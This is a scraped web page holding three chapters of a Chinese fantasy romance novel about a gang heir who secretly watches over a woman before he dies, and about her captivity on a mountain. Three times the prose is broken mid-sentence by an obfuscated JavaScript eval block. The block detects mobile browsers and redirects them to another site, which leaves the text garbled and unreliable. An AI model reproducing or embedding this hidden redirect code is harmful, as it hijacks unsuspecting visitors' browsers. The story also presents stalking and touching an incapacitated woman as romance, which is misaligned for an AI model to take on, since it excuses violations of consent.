就像当年,他第一次见到她时那样。 131. 第 131 章 “都他妈认不清自己定位了?我们是黑/帮!黑/帮!黑/帮就该开堂口、抢地盘、收保护费!天天开会、开会、开会!开麻痹的会!” 中场休息,会议室走得没人了,雷毅对他哥拍桌子。 下午两点,雷恒开会开地困,不想听雷毅炸毛,扔下一句“什么年代了,还黑/帮?老爷子就想我们做点正经生意。”打开手机,随便点个视频软件刷起来。 翘着二郎腿,夹着烟,手里刷着视频,对雷毅的呱噪充耳不闻,脑子一点没动,纯放松。 雷毅把投影遥控器关了开、开了关,也不管机器会不会坏。他特么一点不想每天西装革履出入市中心的商务楼,装模作样听一群夸夸其谈的软蛋探讨用户流失变量、坪效、BA和MA…… “哥!你学历高,脑子好使,能做正经生意,我做不了!你管白我管黑不行吗?老爷子回岛养老去了,管不着咱们!” 雷毅还半个屁股沾在会议桌上逼逼叨,眨眼就听主位上的雷恒唰地站起身:“雷毅,叫人!” 声音都不对了。 “啥?”雷毅一回头,见雷恒盯着手机,脸色大变往外冲。 “三辆车,20个一线,407,5分钟待命。”雷恒扔下一句,已经到电梯口按向上的键。 一线就是执行组的兄弟,407是他们家直升机。 雷毅兴奋起来,有活? 贝尔407冒雨升空,雷恒一路电话没停,雷毅听出对面是他们安插在警方的眼线,在说什么银行劫持案。歹徒换了车,从天眼看,警方刚锁定几辆嫌疑车。 好不容易等到电话间隙,雷毅问:“我们干啥去?” 雷恒坐在副驾,神情严肃:“救人。” “什么人?” “有个女孩,被劫持了。”雷恒道:“路人拍了短视频。” “关我们什么事?这不警察的活儿?”雷毅不明白,“你认识人家?” 雷恒开笔记本,连上星链,黑进某个系统,调出几个路段视频给雷毅看:“A车跟这辆白色小面包,B车跟这辆黑的,C车跟五菱。” 干活时不废话,雷毅照指示行事,立即指挥下去。 从商不行,出活儿难得倒他? 最后押对的还是407,直升机比警车快得多,他们在空中见到淀湖畔有火光冲天又灭,雷恒开望远镜往下瞧,雷毅觉得他哥一定看到了什么,否则表情不会这么奇怪,但雷恒什么都没说,指挥直升机低空悬停,让手下留在机上,和雷毅索降下去。 “操!”即使在机上换了防爆服,落地时热浪滚滚的空气还是让人惊悚。 淀山湖畔一小片空地像刚经历一场野火,树木草皮全部焦黑,冒着刺鼻的白烟。 既然是歹徒挟持,雷毅以为要动手,谁知下去一看完全没必要。 三个歹徒完好无损,吓到痴呆,坐在焦地上语无伦次。 雷毅上去一摸孩子,知道救不回了,转头就见他哥从地上抱起昏迷的白裙女孩朝直升机去。女孩垂下的手瘦得不可思议,苍白如幽灵。 这件事透着诡异,后面怎么摆平的他哥不肯说,但雷毅相信以他哥的能力和人脉,摆平这事应该不难。 真正让雷毅觉得不对劲的,是之后从下面人那里获得的一些信息。 什么雷恒让人去F大宿舍楼下发心理咨询的传单…… 雷恒还莫名其妙假扮青龙峡工作人员,给人在蹦极台上挂扣子…… 最过分的是他哥居然买通中介,把自己P到最帅,混在一堆捐精者的资料里…… “你做什么?生孩子?”雷毅忍不了,去找他哥拍桌子,“你要喜欢,明媒正娶上族谱,生几个都行。搞这出算什么意思?” “你问我,我问谁去?”雷恒明显烦躁,“脑残啊!才十九岁,一门心思要孩子。” “她要你就给?”雷毅对他吼。 “给就给了!”雷恒道:“反正只能生我的。” “他妈脑残的是你!”雷毅道:“老爷子知道不整死你!” 雷恒脸色阴郁:“不会让他知道。” “我都知道了他能不知道?”雷毅觉得他哥太疯批。 雷恒看向办公桌上厚厚一叠照片和资料,“我找人组了个新团队,向我单线汇报。” 雷毅惊了,拿起照片翻……走在路上的、认真听课的、食堂用餐的……每张都是对女孩的偷拍。 他放下照片,两手往桌上一撑,气势汹汹地俯视他:“哥,你不正常!” 雷恒靠着椅背,和雷毅对视。 雷毅突发奇想,瞪大眼,惊讶道:“难道是她?” 雷恒大方承认:“对。” “我操!”雷毅吃惊地说不出话,愣了很久才道:“我以为那只是你的梦!” 雷恒:“现在不是了。” 雷毅啊了半天:“所以你梦里的人,真地出现了?” 雷恒:“那天在视频里一见到,我就知道是她。” “你确定?”雷毅问。 雷恒不屑地挑了下眉。 如果有一个人,他每晚梦里会见,年复一年……那么这种问题根本连回答的必要都没有。 雷毅不可置信地摇头:“那么神奇?我一直以为你心理有问题,哇,可以当选人类十大不可思议事件了吧!” 可他一点不明白:“梦中女神出现了,你躲背后搞这些小动作干吗?冲上去把人讨回来不就好了?” 雷恒转动老板椅,夕阳透过金贸大厦五十四楼的落地玻璃窗照上他的脸,静静坐了一会,说:“你不懂。” 雷毅觉得他哥说这话时透出一种莫名的哀伤,和他向来不可理喻的强势全然不符。 是的,雷毅不懂! 对整件事、对他哥到底怎么想,雷毅全然摸不着头脑,但这不妨碍他在接下来的日子里,买通其中一个向他哥直线汇报的行动小组成员,侧面获得一些信息。 比如他哥忽然迷上网游,为了帮人刷本,抓着小队成员通宵进副本练习。 比如一年后他哥消失一周,原因竟是那女人生产大出血,他急调最好的产科大夫,超限献了500cc血,为此不得不躲起来养身体。 再比如他买了一栋别墅,让人在别墅区门口开了家“慕真超市”,专卖婴儿用品和人家用得上的、爱吃的一切东西。提供上门配送服务,找尽理由隔三差五穷打折。 雷毅私下里不是没查过那个让他哥铁树开花的女人,好歹是个富二代,虽然父母双亡,但住别墅、开玛莎拉蒂,账户上还躺着继承来的六千万。 打折……打麻痹的折! 每次收到线报,雷毅都看得津津有味,暗叹他哥乃不折不扣的情圣,更是不折不扣的变态! 可最牛逼的是,要不是清楚他哥背后诸多动作,表面上,他真地一点看不出雷恒有什么不同。 这几年他哥出差多。家族规矩,岛主每月必须回岛一次,雷恒回去的次数却越来越少,一颗火热的事业心让老爷子对他的疏漏都不忍苛责。 所以很多时候,雷毅会怀着难以启齿的艳羡,暗地里帮他哥查缺补漏,让爷爷尽量晚些察觉他哥的疯狂。 经过他哥几年调教,雷毅对商业逐渐上手,17年他代表集团旗下的风投去参加一个高逼格的创投会。会议后半程是杀出重围的十名企业家轮流上台介绍BP,他一眼认出那个上台的女人。 大会背投上写着,天宫游戏创始人&CEO,栖真。 见到真人,雷毅发现,是个美女——身高腿长十头身,标准衣架子,再没有几年前的瘦骨嶙峋和病态的苍白。 BP讲得不错,但在一众企业家里还是显年轻、资历浅。 他当场拍照发雷恒,问要不要投一点。 雷恒回:不投,让她锻炼锻炼。 雷毅问:人家投呢? 雷恒回:蓝衫不投,别家也别想投。 雷毅看着微信笑,心想,别怪我手狠! 他以蓝衫副总的身份,硬生生当着上百位与会者,把人小姑娘逼问得下不来台。 以为自己来这么一出,他哥一定会来“报仇”,谁知雷恒一点反应没有。 近两年兄弟俩各忙各的,不回岛几乎见不到,所以某日得知雷恒从奥兰多回来,雷恒主动去找,没憋住,问了一句。 电视里还放着联合国召开全球气候大会的新闻,雷恒目光从电视上调回,漫不经心道:“做得好。” “妈的,我不懂了。”雷毅失笑,坐在沙发上拿着酒杯慢慢摇,“什么戏码?自己的女人自己虐?” 雷恒又转去看新闻,“没人能护她一辈子,有些路她得自己走。” “五年了。”雷毅喝了口酒,开玩笑地说:“我觉得你就是要护她一辈子。” 雷恒笑着摇头。 雷毅见不得他哥这么笑,又是那种莫名的哀伤!所以他多看了雷恒两眼,问:“哥,你瘦好多,面色也不好。” “滚!”雷恒满脸不耐烦:“老子玉树临风!” 雷毅讨好地给他递烟,“一出霸道总裁爱上我的戏码玩了那么多年,人家连你是谁都不知道,亏不亏?” “戒了。”雷恒没接,摆手道:“老子高兴!” 哪个黑/帮老大不抽烟?即使他哥不涉黑了,名头还挂着呢。雷毅笑骂两句,没当回事,后来想想十足后悔,如果当时他再上点心,就能早点发现雷恒的异样,可他哥藏得太好了。 一年后,天宫拿下4000万天使轮的时候,雷恒没能看到。 他走了。 为什么不把人娶进门……这个雷毅心中始终抱有的疑问,终于得到解答。 肺癌! 他哥早知道自己肺有问题,悄悄做过化疗,甚至换肺手术,但换了又得肿瘤,等整个家族得知此事,已经无力回天。 雷恒靠在床上跟雷毅说:“我小时候就觉得空气不好,呼吸不过来……知道自己得肺癌的时候,没一点意外……你说奇不奇怪。” 面前人已经骨瘦如柴,虚弱不堪,雷毅没心情听他开玩笑,烦躁道:“你瞒着所有人,就想一个人去死?” “我怎么会想死。”雷恒艰难地咳嗽:“我比谁都想活……如果不是环境太污染。” “环境污染,环境污染,口口声声环境污染!”雷毅愤怒不已,“我们都在这个环境里,都呼吸这点空气,就你肺癌得了一茬又一茬!” 雷恒又是一阵咳,想把肺全咳出来、却根本没力气咳的那种痛苦,“我的结局……梦里有,天意!” “你是岛主,不是巫师,别说的自己有特异功能!”雷毅眼睛红了。 “今天精神好……”雷恒看着他:“几件事……你听一下。” 雷毅知道他哥要交代遗言,眼眶一热,咬牙忍住:“说。” “我走……你是下一任岛主……家族、公司都得你担。”雷恒道:“我知道,你一向不喜欢这些……你懂的……责任。” “我知道。”雷毅点头:“你把我从□□拉回来,这几年又把事情往我头上扔,现在我明白了,你早料到有这天。” “要顶不住,就早点娶老婆……多生几个……早几年退休。”雷恒硬是把想咳的欲望憋回去,话说得有些艰难,“商场同战场,你的风格……保守了……该打的仗……还是要打。” 雷毅不服,心想我黑/道不比你混得多,我保守? 没反驳,乖乖点头。 雷恒继续道:“对面的事,交给你……这是我唯一放不下的……就怕……”说到这里又咳起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897027|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 雷毅转头看窗外,这是他第一次来这个别墅区,他知道他哥平时不住这儿,但经常会来这儿看看。 现在雷恒没剩多少时间了,他坚持要住过来,没人敢忤逆他。 雷毅将床头柜上的水杯递来,雷恒喝了两口,继续道:“我名下财产……半年前让Lee重新整了整,成立基金……一半投大气治理项目……一半用在对面……有事……就……就……” 雷毅叹气:“帮她搞天宫?” “她想做的……就做。”雷恒也将视线调向窗外:“有些事……Lee那边出面不方便……还是要你……帮一下。” “哥,你放心。”说到对面的事,雷毅语气郑重:“虽然她从来不知道你,但我心里早把她当嫂子看。再怎么样,她儿子就是你儿子,我怎么会让他们吃亏?” 雷恒笑了,那笑在他病弱的脸上没法入眼,雷毅再次微微别过头,不忍看。 “最后……一件事。”雷恒实在喘不上气,但他得说完。 “别让她……知道。” 雷毅走出别墅时,在大门口站了片刻,抹了把眼睛。 刚听医生说,他哥估计还能撑一段时日,所以此时此刻雷毅真地没想到,这就是他们最后一面。 雷毅走后,医生和护士又进来看了看,给雷恒打了一剂营养针。 雷恒睡了一觉,醒来时觉得身上松快些,艰难地坐起来穿好衣服等。大概晚上六点左右,有人敲门,把一袋东西提进来。 “老大,点的酱油。” 雷恒拿掉呼吸机,下了床,拒绝人掺扶,在厅里一众住家医生、护士、手下、保姆的注视下,提着塑料袋,缓缓走出门。 十二月了,外面冷得很,但雷恒不觉得。他心里有一把火,兴奋的火,烧得他病体都轻快起来,走路都不觉得累,连一直折磨他的咳嗽都舍不得在这个时候出来干扰他。 他就这样提着袋子,穿过两片花坛,绕到对面那栋别墅门口,按响了门铃。 太紧张了,不自觉把手背到身后擦了擦,又觉得这个动作纯属多余。这一刻,他不应该细听门内动静? 门很快开了,朝思暮想的人就在面前,套着粉蓝色的星星围兜,手里拿着锅铲,一看就是从厨房出来。 “您点的酱油。”雷恒把手里的袋子提给她。 刻意放低声音,又觉得没必要。他带了口罩和头盔,穿着宽大的X团配送服,鬼才认得出他来! 果然,人家只是看到门口超市怎么换了X团骑手配送,愣了一下,笑着说谢谢,接过东西要关门。 可雷恒不会让门关上,他一指快速点在她额头,进门、关门,在门板后接过她手中的袋子和锅铲,抱住她失去意识而软下的身体。 以雷恒现在的体力,想把人完完整整抱到沙发上已经力不从心,只好将人轻轻地、慢慢地放倒在玄关处的地板上。 今天是周六,他知道她家阿姨放假,小包子在市里参加奥数班,她都是傍晚六点出门,开车把他接回家。 所以现在这栋大房子里,只有她一个人。 雷恒在地板上坐下来,摸了摸她的头发,摸了摸她的脸颊,感受着肌肤的温存。他知道自己的举动像个十足的变态,可谁叫他快要死了呢! 他就要死了,所以必须再来见她一次。 雷毅是他胞弟,以为自己知道哥哥所有的事情。 雷恒承认,大部分是的,但有一点不是! 这一点,不单雷毅不知道,世上就没人知道。 那才是他真正的秘密。 雷毅说“你是岛主,不是巫师,别说的自己好像有特异功能。” 偏偏他就是个巫师,他真的有特异功能! 小时候就知道了,从梦里获悉的,后来在现实中验证过。 现在,这个巫师来找他的公主了。 他看似做过很多事情,引导她、保护她……可真相始终埋在雷恒心底,只有他自己明了,他和她的关系并非如此! 他是探索者,在她的人生里探索和认知自我;又是祈求者,渴求她的沁香和抚慰。他追求那种熟悉的温馨妥帖,而这感觉只有看着她时才会拥有。 雷恒俯下身,吻上他的公主。 这个动作他肖想过无数次,想得发疯,真正实现时却很克制,只是绅士地唇瓣贴着唇瓣。 再绚烂的念头,都收于病体。这样,他就满足了。 他很知足了。 雷恒伸出手,手指点上她的额头,就像适才在门外做的那样。 六年前初见,他偷偷在她神识中布过一道封印,将她体内的火封存起来,不想那种骇人的攻击力再次曝光于世,他要她像普通人那样过上安稳生活。 而这次,一道灵光又从他指尖输入对方体内。 但这次不是封印,而是契印。 但凡你将来遇到危险,危及生命,这道契印便会启转,将你的魂魄带至另一个时空。 那里有另一个我,将同样护你周全! 漂亮的契印在她额头闪现,瞬间隐没,雷恒松了口气。 布印耗尽他最后一丝力气,雷恒抬头,眷恋地凝视她……真好看呀,能看到地老天荒就好了! ……对不起,最后一面,如此仓促,连把你从地上抱起来的力气都没,还好醒来后,现在发生的事你都不会记得。 是的,一切都如此不着痕迹,就像他为何知道自己应该来布这个印……大雁冬天要南飞,春天燕子要筑巢,都是刻进DNA的本能。 不用问为什么,这场跨越时间的接力,就是我的本能。 爱你,就是我的本能。 “再见,我的公主。” 雷恒撑起身,最后眷恋地看了一眼他的爱,开门离去。 132. 第 132 章 像经历一场呕心沥血的晕车,回洞时天旋地转,栖真踉跄着走出穿梭仪,将瓶子从脖颈上取下,递给过来的重离。 “可……可以吗?” “可以。” 听到这两个字,心头一块巨石落地,栖真彻底失去意识。 醒来时,她还维持着晕前的动作,背着大包躺在地上,全然无人照顾的样子。 从背包肩带里脱出,艰难地爬起来去看洞壁上的时间。可屏幕消失了,更别提上面的报时。 栖真:“怎么不记时了?时间过了?” 重离:“救活了。” 栖真又惊又喜:“救活了?什么时候?” “你昏的时候。” 栖真看着坐回石座上的重离,从犹疑到质疑——上帝救人,都不需要抬一下手吗? “怎么救的?你用什么装置把他救活的?” “你问了七个问题,只表达一个意思。”重离道:“我只说一遍,这人活了,你走吧。” “能不能让我看下他?”栖真哀切恳求:“你技术那么发达,能完成远程救人这样高难度的事,让我看下他总能做到吧?” 重离冷漠:“没动力了。” “什么?” “超氢能不够,看不了。” 栖真听不懂,但不妨碍她抓狂:“那要多久可以看?” 重离按扶手上的键,洞壁的屏幕上出现一个计算结果,9.8%。 “至少加充一年。” 栖真要疯……只不过看看人,都要一年? 重离没给她多余的接受时间,冷然道:“五天后再来。” 栖真哪里肯走,还想问有没有其他办法,就觉眼前一黑。再睁眼时山洞变草甸,她居然被重离扔出来。 还有大背包从天而降,直接砸在地上。 悬崖边蓝雾弥漫,别说对面坟头山,连铁索桥都隐没其中,不见一点踪影。 黑漆漆的高山草甸上,只有她一个人。 只剩她一个人了! 八个小时,整整八小时……穿越又回来,重历了大都市的繁华、现代社会的文明,在东圾岛挖了坟,见了鬼,终于给风宿恒带回一丝生机……还好,幸不辱命! 可风宿恒真地活了吗? 这种大事,是重离随口一句,她就能放心的吗? 万一重离骗她…… 啊,不,不会! 栖真在草甸上失魂落魄地走,纠结至死……重离没必要骗她,他用送她回现代的方式证明了他拥有高科技的事实,她想不出他有什么理由要骗她。 那么现在,风宿恒应该是真地活过来了。 栖真抬头望向暗夜中的星子,心里一遍遍呼唤他的名字。 她忽然抛下背包快跑起来,一路往山下飞奔。 想见他! 一刻都不想等! 她要立马去见他! 山路一望无际,但再长的路都阻不了栖真想赶回乾都,赶回密室的心。 万一风宿恒活过来,还被冻在那该死的冰棺里,而戦星流又没及时去看他,那他……!!! 不,栖真不敢想象那个场景! 她惊恐,跌跌撞撞地跑。即使路过平台见到火光,知道是柳絮回他们还未离开,都没能阻挡她往山下狂奔的脚步。 见到山道尽头时,栖真跑得快虚脱了。 就在她雀跃地即将跑出山界时,事实和记忆给她迎头痛击! 身体被徒然弹回。 高速运动的物体撞上网兜的感觉,她一下摔回山道,眼冒金星。 可面前,山道口,分明什么都没有。 被焦虑和彷徨的情绪冲昏头,一路上她全然忘了重离要求的承诺。 “你陪我,不许离开。” “逃不了,我设了屏障。” 栖真缓了许久才爬起,伸手,一步一步往前挪。 手指触上一片冰冷软垫,眼里什么都没有,掌下却是实实在在的触感。 太诡异了! 上下拍,身体撞,用脚踹,都没用! 释放多少力,全数反弹回来。她像一个对着空气张牙舞爪、不知所谓的疯子,发泄着仅剩的力气。最后,彻底没电的机器一样跌坐在地。 栖真愤恨起来,甚至偏偏地想,真不让她出去,为何要把结界弄成透明? 一步之遥,是黑夜下静默的戈壁。那里没有狼,当然也没有人。 除了茫茫戈壁,什么都没有。 她看得见,望眼欲穿,那里有自由,希望,有通往风宿恒的路! 躺进穿梭仪时一腔孤勇,什么都没想。现下,当再也出不去的事实直白地摆在面前,栖真忍不住颤栗,看着辽阔的夜空,急促地呼吸。 她出不去,而风宿恒也不知道她在这里。 他俩……就再也见不了面了吗? 栖真笑出来,一手遮眼,流了一会儿泪,觉得不能颓丧。 救小包子时她不认输,救风宿恒时她不认输,凭什么轮到救自己,她就要认输? 没有一条路不艰难,可所有艰难的路她都走到了终点,那么这次,同样也可以! Beafighter! 连她爱的人,都叫她beafighter! ………… 那晚,栖真沿着山脚到处找路,结果是一遍遍失望。她擦干泪,靠着树干睡了一会儿。 醒来时天光大亮,她翻过连绵山脚,花了一天继续探索,仍然没有找到任何能出去的豁口。 当夕阳再次下山,她终于停下寻找,开始思考别的出路。 找出口固然重要,但这事的突破口只怕不在山下,还在山上。 解铃还须系铃人,她得去找重离。 而且迫在眉睫的,她得想办法解决生存问题。还有絮回他们,能遇上不容易,不能放着他们不管。 背包还在山顶,栖真重回草甸,换回古装。以免节外生枝,用铲子在草地上挖了个洞,暂时将背包埋起,然后回到营地。 营地里飘着肉香,火架上烤着动物的骨架,众人见栖真回来纷纷停下手中动作,看她走近的眼神很是疏离。 小婴儿的哭声气弱而凄惨,像没吃饱哭都哭不动。抱着婴儿的英迈在篝火边手足无措,可明显没用。 栖真权当没看见那些不友好的眼神,和众人打声招呼,凑近一看,“哭成这样要么是饿,要么是尿,前一顿什么时候吃的?” 英迈退开两步,背对继续哄,像没听到。 营地里多了四个用树枝搭建的极简帐篷,而原本那个还在,栖真只好到帐前蹲下,问:“能进来看看吗?” 她以为里面只有慕容,谁知出来的是柳絮回。 柳絮回冷淡道:“你没走?” 栖真一走整整两日,他们以为她下山去了。 “山太大,迷路了。”栖真探头往帐里张望:“她怎样了?” 柳絮回把帐篷遮实,又是拒人千里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12910653|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度:“没什么好看的。” “宝宝没吃饱吧?”栖真指指远处的小婴儿,又悄声问:“奶水多吗?”她话音刚落,便听帐里传出轻微呻吟。 栖真不管柳絮回了,错手撩帐进去。里面昏暗,但好歹看清了慕容烟月痛苦的表情。 “是不是涨奶?”栖真伸手捏慕容胸口,果然硬成石头。 “你……”跟进来的柳絮回气恼:“做什么?” “涨奶疼,得帮她疏通,否则这样下去活受罪,宝宝也吃不饱。”栖真解释给柳絮回听,又转头安慰慕容,“别怕,我现在帮你揉,过程有点疼,但揉出来就好了,忍一忍。” 这些苦她都吃过,那时全靠月嫂,现在看她们对生产护理一窍不通,她不能袖手,凭记忆中的手法给慕容揉。 确实是疼的,疼到慕容痛呼出声。 栖真只好一面揉,一面聊天,跟慕容讲涨奶的原理,讲护理的注意事项,鼓励她生产的苦都挨过,这点痛算什么,让她想想宝宝吃不饱怎么办,用尽浑身解数,揉了足足小半个时辰,终于揉软了,疏通了,赶紧抱孩子来吃。 吃完后,栖真到帐篷外教柳絮回怎么给孩子拍奶嗝,怎么哄睡,全□□完累到半死。 自从添了孩子,他们一帮人手忙脚乱,很多状况不知如何应付,直到此时才稍许心定。 把孩子还给英迈抱睡,栖真找柳絮回到僻静处单聊:“你们一时半会儿留在山上了?” 大概因为栖真再次施以援手,柳絮回态度好转:“她这样,我们走不了,再待几天吧。” “让我加入你们。”栖真直接提议:“我给你们带孩子,你们管我吃喝,行吗?” 她帮忙是一回事,想加入他们是另一回事,柳絮回眉心都皱起褶子,满目抗拒和谨慎,“你可以走,又不是非留在山上。” 栖真惆怅:“误入沙漠,被风吹来此地。我一个人,什么都没,与其冒险出去,不如在此求生。说不定等你们下山,还能帮我捎个信。” 柳絮回问:“你哪里人?家在何处?” “我叫栖真,付春人。”她道:“你们下山前若愿帮忙,我把住址告诉你们。” 面对故人,栖真不敢说自己是大容人,她在大容只待了几个月,万一对话时信息对不上就很被动;更不敢说自己来自辛丰,在未探得柳絮回他们态度前,她只能默认他们对辛丰抱有十足仇恨。 柳絮回问:“府上做什么的?” 一套profile栖真早想好了:“夫家是文昌坊的小吏,娘家从商,卖些簪器首饰。我有个小叔子是修建永嘉道的劳役,这次随夫君过来探亲,谁知遇上狂风,将我吹至此地。” 见柳絮回沉吟,不知信是不信,栖真问:“你们呢?你们从何来,又为何会在戈壁里遇着狼群?” 柳絮回快速道:“不关你事,不该问的别多问。” 栖真挑眉。傻絮回,这样说真是此地无银,反倒让人觉得你们犯事,才要隐瞒来历。真不想引人注意,就该编好说辞,怎么平民怎么来! 栖真无奈举手,做投降状:“好好,我不问,只是……我要怎么称呼你们?总不能老是你啊我的。” 柳絮回道:“叫我阿絮就行,生孩子的是阿月。” 栖真:“好。” 柳絮回道:“你说的我不能现在答,得跟大伙儿商量。” “这是自然。”栖真最后道:“能遇上你们是我幸运,否则死在戈壁都无人知晓,还请姐姐多照顾。” 133. 第 133 章 “她在撒谎!” 柳絮回把栖真的请求告知众人时,山遥斩钉截铁道。 围坐篝火的人群里,数他脸色最阴沉,扔下一句:“她会法术。” 英迈也想起:“对,我们逃命时她唤出过一种猛兽,扑上去咬狼,看起来很厉害。后来不见了,莫名其妙不见了。应该是法术!她确实会法术!” 但凡会法术,就不可能是普通百姓! 所有人看向容绽,他们这一支里懂法术又神智清醒的,只剩他一个。 容绽盘腿端坐,在人前他向来腰背挺直,清醒状态下不可能放任自己东倒西歪,但他毕竟不是过去的洛尘了,如今他目不能视,又失去神识,是个没用的残废。 当时他跑在队伍最前头,柳絮回没注意队伍后面的事,他就更看不见! 容绽沉声问:“怎样的兽类?” “像…像老虎!”英迈回忆:“很大,发着蓝光。” 陈典:“爪子厉害,爪子很大。” 阑珊:“是头大,很威风。” 那时人人只顾逃命,根本没看仔细,现下说来说去也没把凶兽模样说清。 容绽沉思片刻:“世上仅存的饕餮兽魂都囚在碧净杀魄池,想来不是,却不知其他还有什么兽魂可供人驱使。” 英迈道:“不管她是什么人,安什么心,现下就她一个懂怎么照顾小宝,跟她学两天。学会了,赶她走。” 阿陶道:“我们吃的原本就不多,打猎也紧巴,还要多张嘴。” 柳絮回看向火光下消瘦的男人,五年里她虽然担了首领的角色,遇事仍习惯征求容绽意见:“阿绽觉得呢?” 容绽道:“冲我们来的,该隐藏实力,没必要透露自己会法术。” 听他这么说,柳絮回才环视众人道:“先这样吧,毕竟那么多双眼睛盯着她呢。” 饕餮的事栖真早忘光了,否则必然编套更加合理的说辞。但事实上她忽略的不止这点,她犯的最大错误,是仍以过去的眼光和善意看待故人,这才是之后给她带来危难的最大原因! 但现下,她确实像硬插入队的铁钉,死皮赖脸地留下,主动担起照顾新母子的责任。 照顾新生儿这事对人的影响,没有一种减肥药比得上! 孩子一会儿要吃,一会要拉,都得花精力,尤其晚上喝夜奶更是折磨人。 栖真心疼慕容,晚上为了让她睡踏实,把孩子抱出帐自己带,等要吃了再抱进去,一晚两三次。这种昼夜颠倒、连续数日没法睡囫囵觉的苦,栖真咬牙忍了。有时太困,就趁宝宝睡着时靠在石头补一会儿眠。 坐月子对女人有多重要,栖真太清楚了!白天经常在帐里和慕容聊天,纾解她的情绪,将自己当年坐月子的经验编编改改说给她听,又跟柳絮回建议,让人到山上捕鱼,保证每日熬鱼汤给慕容补身体。 慕容精神恍惚,话很少,有一次流泪道:“还好有你。” 栖真从没问过孩子父亲是谁,或试图从她这儿探听他们情况,她尽量把自己给出去,安慰她、鼓励她,向慕容描绘孩子慢慢长大的图景。几天后,慕容即便话少,也开始对栖真展露笑意。 当然,不是说照顾一大一小栖真就全然不得闲。那一点闲时,她会去找絮回,跟她说慕容睡的盖褥要常洗,用衣服裁下的尿布晾干后要用火烤,孩子屁股长湿疹,问他们有没有药…… 这几日栖真也在暗中观察。 这群人各有分工,捕猎、烧饭、淘洗,织补各司其职,像多年形成的默契。而栖真说的,柳絮回也会分配下去。 有一晚睡到半夜下起雨,衣服和树枝搭建的陋帐根本挡不住,所有人淋成落汤鸡。栖真让他们把唯一一件蓑衣给慕容,然后把慕容和宝宝抱在怀里,用自己身体替慕容挡了一夜,生怕头顶漏下的雨淋到她们头面。 坐月子的女人真心经不起! 隔日雨停,第五日了,栖真找借口离开,上山去找重离。 果然,蓝雾变淡,铁桥显露。栖真进洞时还愣了一下,以为自己走错。 就见原本空荡荡一览无遗的洞体,如今凭空出现一个大房间。 像个集装箱房,四四方方,目测室内不少于一百平。前后两扇门,左右两扇窗。房里有张超大床,还有方桌、沙发和两把椅子。 床在正中,沙发、方桌和椅子摆在四边,陈列得活像麻将桌上的四方阵,怎么看怎么怪异。 “这些……哪来的?”栖真吃惊。 重离坐在沙发上:“打印。” 栖真:“3D打印?” 重离:“钛打印。” 听起来像比3D打印先进得多的技术。 栖真四处看,敲墙面,听闻铁皮般的“咚咚”声,但建造房子的板材看上去更像环保树脂。 “什么材料?”栖真好奇。 “高密轻钛基。” 栖真又环视室内,问:“光线白的像停尸房,住在这里,不会不舒服吗?” 重离明显不会不舒服,他靠着沙发,翘着二郎腿——极规整的翘法。两手交握放在腿上,黑袍下大腿线条紧实,露出锃亮的黑靴。 如果上帝会放松片刻,应该就是如此坐姿。 “脏、乱、臭、瘦。”重离看着栖真,仿佛对面是堆垃圾:“你的生存能力有待提高。” 栖真举袖闻了闻,也嫌弃自己,淋一晚的雨还没干透呢。 可现在她不想探讨自身,不想探究重离的高科技,她搬了把高密轻钛基椅,坐到重离对面,开始对话。 “那天你说要我陪你一辈子,我觉得这事我们可以再探讨探讨。” 坐在沙发上的男人明显比坐石椅看上去人性化,但冰冷的视线对上她,人性感很淡漠。 栖真:“为什么要把我困在山上?” 见男人不搭腔,栖真只好继续道:“你帮我,我回报,天经地义。你要什么说出来,我帮你达成。或者……你觉得寂寞,跟我回人世都可以!为何一定要把我困在这里?” 重离终于开口,语调比集装箱房更不近人情,“我说过,你考虑清楚再回答。你回答了。” “我不是不想报答你的恩惠,我只是想知道你真正的诉求。” “‘只是’……”重离玩味道:“这两个字代表你在反悔,要推翻之前的承诺。” “不。”栖真反驳:“我没有要推翻。” “既然‘没有要’。”重离道:“这段对话就缺乏意义。” 栖真真挚道:“重离,你帮我,我很感激,真心感激。我想多了解你一些,想知道你为何离开故土,想知道你是什么样的人,喜欢什么,厌恶什么,追求什么!虽然我们时代相差千年,但在这里我们都是外来者,基于这份相似的经历,我们可以做朋友的不是吗?” 重离投来的眼神,像犯罪学家面对狡猾的罪犯:“拿语言和心理技巧应对我,目的只有一个,你想在我身上找到离开的突破口。” 被一语道破,栖真手心开始冒汗。 她有一种错觉,好像坐在对面的不是人,而是一块铁板、一台机器。 栖真对机器叫道:“人类心理经过上千年的进化,把同理心都扔了吗?” 重离语调没有起伏:“失败的指责除了发泄罪恶的情绪,对推进目的没有任何作用。” 罪恶的情绪……他居然将她的情绪称为“罪恶”? 栖真调整心态,重新组织语言:“对不起,说错了,我收回。” “这几日我在山上,要进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984182|124354||http|test|mini|href|location''.split(''|''),0,{})); () { 